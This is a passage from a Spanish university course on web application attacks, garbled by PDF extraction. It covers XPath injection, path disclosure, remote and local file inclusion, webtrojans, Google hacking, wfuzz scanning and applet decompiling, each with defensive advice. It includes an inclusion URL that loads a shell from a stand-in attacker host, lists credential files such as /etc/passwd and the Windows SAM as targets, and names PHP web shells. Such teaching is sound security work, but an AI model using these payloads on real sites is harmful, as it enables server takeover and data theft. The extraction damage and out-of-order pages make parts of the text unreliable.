mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Iacutendice
1 Ataques de inyeccioacuten de scripts 5
11 Cross site scripting (XSS) 7
111 Ataques 9
112 Meacutetodos para introducir XSS (cross site scripting) 10
113 Diseccionando un ataque 12
114 Filtros XSS 17
12 Cross Site Request Forgery (CSRF) 19
13 Clickjacking 21
2 Ataques de inyeccioacuten de coacutedigo 26
21 LDAP Injection 28
211 LDAP Injection con ADAM de Microsoft 28
212 LDAP Injection con OpenLDAP 31
213 Conclusiones 33
214 ldquoORrdquo LDAP Injection 34
215 ldquoANDrdquo LDAP Injection 36
22 Blind LDAP Injection 39
221 Blind LDAP Injection en un entorno ldquoANDrdquo 40
222 Reconocimiento de clases de objetos de un aacuterbol
LDAP 40
223 Blind LDAP Injection en un entorno ldquoORrdquo 42
224 Ejemplos Blind LDAP Injection 43
23 XPath 48
231 XPath injection y Blind XPath Injection 48
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection 53
3 Ataques de Path Transversal 54
31 Path Disclosure 54
4 Ataques de inyeccioacuten de ficheros 56
41 Remote file inclusion 56
42 Local file inclusion 57
43 Webtrojans 59
5 Google Hacking 61
6 Seguridad por ocultacioacuten 64
61 Descompiladores de applets web 67
611 Flash 67
612 Java 69
613 NET 70
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Bibliografiacutea 73
CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web
1 Ataques de inyeccioacuten de scripts
Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que
comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin
El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la
fijacioacuten de los objetivos perseguidos
Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-
yectar en el contexto de un dominio un coacutedigo Javascript VBScript o
simplemente HTML con la finalidad de engantildear al usuario o realizar
una accioacuten no deseada suplantaacutendole
Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-
tado no es directamente el servidor como podriacutea ser en el caso de un ataque
de SQL Injection sino que el objetivo directo es el usuario Posteriormente
si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten
ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse
desde una paacutegina web
Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados
como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-
clarando incluso que errores de este tipo no podriacutean llegar a comprometer la
seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la
inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-
ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial
Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-
ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A
pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-
gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar
coacutedigo Javascript
CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web
Zone-H
